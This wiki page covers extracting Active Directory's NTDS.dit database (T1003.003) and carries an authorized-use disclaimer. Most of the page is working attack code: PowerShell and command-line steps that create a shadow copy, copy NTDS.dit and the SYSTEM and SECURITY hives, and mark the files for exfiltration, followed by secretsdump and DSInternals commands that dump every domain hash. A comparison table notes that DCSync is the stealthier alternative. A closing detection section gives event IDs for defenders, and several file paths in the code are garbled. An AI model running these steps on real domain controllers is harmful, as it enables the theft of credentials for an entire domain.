Skip to content
λmaldev wiki/
pagesNTDS.dit Extraction
T1003.003WindowsPythonPowerShellActive DirectoryVSS

NTDS.dit Extraction

updated 2026-08-048 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

NTDS.dit is the Extensible Storage Engine (ESE) database that Active Directory Domain Services uses to store all domain objects, including user accounts and their credential material. On a domain controller, it lives at %SystemRoot%\NTDS\NTDS.dit and is locked exclusively by the lsass.exe / ntdsa.dll process. Extracting it gives an attacker every NTLM hash and Kerberos key in the domain — a full domain compromise in a single operation.

Because the file is locked, the standard extraction path uses Volume Shadow Service (VSS) to create a snapshot where the file is accessible. The SYSTEM registry hive must also be captured to obtain the Boot Key, which decrypts the Password Encryption Key (PEK) stored in NTDS.

Caution.

NTDS.dit extraction requires Domain Admin or equivalent rights on a domain controller. If you have reached this step in an engagement, the domain is already fully compromised. Document the finding and stop — do not process the hashes or crack passwords beyond what the engagement scope requires.

The call chain

  1. 1
    create Volume Shadow Copy (vssadmin / NtIoControlFile)
    The live NTDS.dit is locked by the AD DS process; a shadow copy gives us an unlocked snapshot.
  2. 2
    copy NTDS.dit from shadow volume
    Grab the database file from the VSS snapshot path.
  3. 3
    export SYSTEM hive
    The SYSTEM registry hive contains the Boot Key (SysKey) needed to decrypt the PEK (password encryption key).
  4. 4
    parse offline with secretsdump / DSInternals
    Decrypt and extract all NTLM hashes, Kerberos keys, and cleartext passwords stored in the database.

Reference implementation

Shadow copy method (PowerShell)

ntds_extract.ps1PowerShell
# Run on the Domain Controller as Domain Admin
# Step 1: Create a volume shadow copy
$shadow = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\","ClientAccessible")
$vss    = Get-WmiObject Win32_ShadowCopy | Select-Object -Last 1

# Step 2: Copy NTDS.dit from the shadow volume
$shadow_path = $vss.DeviceObject + "\"
Copy-Item "${shadow_path}WindowsNTDSNTDS.dit" C:Temp
tds.dit
Copy-Item "${shadow_path}WindowsSystem32configSYSTEM"  C:TempSYSTEM
Copy-Item "${shadow_path}WindowsSystem32configSECURITY" C:TempSECURITY

# Step 3: Clean up the shadow copy
$vss.Delete()

# Exfiltrate C:Temp
tds.dit, SYSTEM, SECURITY for offline parsing

vssadmin / reg save (command line)

ntds_cmdline.shshell
# Create VSS snapshot
C:> vssadmin create shadow /for=C:
Successfully created shadow copy for 'C:'
  Shadow Copy ID: {xxxxxxxx-...}
  Shadow Copy Volume Name: \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1

# Copy NTDS.dit and registry hives
C:> copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSNTDS.dit C:TempC:> reg save HKLMSYSTEM   C:TempSYSTEM   /y
C:> reg save HKLMSECURITY C:TempSECURITY /y

Parse offline with impacket secretsdump

parse_ntds.shshell
# Parse locally (no DC connection needed)
$ python3 secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL

[*] Target system bootKey: 0x3c2a...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c1e75e0bef3d...:::
jsmith:1104:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:a3f2...
...

Parse with DSInternals (PowerShell, on-DC)

parse_dsinternals.ps1PowerShell
Import-Module DSInternals

# Get boot key from local SYSTEM hive
$bootKey = Get-BootKey -SystemHivePath C:TempSYSTEM

# Decrypt and dump all accounts
Get-ADDBAccount -DatabasePath C:Temp
tds.dit `
  -BootKey $bootKey `
  -All |
  Select-Object SamAccountName, NTHash, KerberosKeys |
  Format-Table

Alternative extraction methods

Method Mechanism Requires
VSS + file copy Snapshot bypasses lock Admin on DC
ntdsutil snapshot Built-in AD backup tool Admin on DC
DCSync (Mimikatz) Replication API, no file access Domain Admin or DCSync rights
Volume backup API Uses VSS internally Admin on DC
Kernel driver direct read Bypass file lock at Ring 0 Signed driver + Admin

DCSync is the stealthiest: it uses the Kerberos replication protocol over the network, never touches the filesystem, and produces no shadow copy events. It requires the DS-Replication-Get-Changes-All right, which Domain Admins have by default.

Detection

WINDOWS EID 8222
Volume shadow copy creation — generated any time a VSS snapshot is created.
SYSMON EID 11
File copy from a VSS snapshot path (\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...).
WINDOWS EID 4648 / 4688
SYSTEM hive export via reg.exe or reg save — look for reg.exe saving HKLM\SYSTEM.
BEHAVIOURAL
vssadmin.exe or wmic shadowcopy call create run by a non-backup account or outside backup windows.

The combination of EID 8222 (VSS creation) + EID 4688 (reg.exe saving SYSTEM hive) within a short time window, from a non-backup account, outside scheduled backup windows, is a near-certain indicator. Alert on either event individually; alert immediately on the combination.

Variants & related

T1003.006DCSyncPull the same hashes over the network without touching the filesystem — no shadow copy needed.
T1558.003KerberoastingHash extraction from service accounts via Kerberos tickets, requires only domain user access.→T1003.001LSASS Memory DumpMemory-based credential extraction from a running system — no database access needed.→
Was this page useful?edit this page ↗